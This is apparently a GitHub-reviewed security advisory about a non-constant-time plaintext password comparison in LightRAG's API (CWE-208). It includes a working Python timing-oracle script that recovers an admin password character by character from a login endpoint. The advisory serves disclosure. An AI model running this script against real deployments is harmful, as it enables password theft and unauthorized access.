When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
if stored_password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored_password == plain_password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual characters
# Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://<TARGET>:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
{
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:40:19Z",
"nvd_published_at": "2026-09-22T17:17:27Z",
"severity": "MODERATE"
}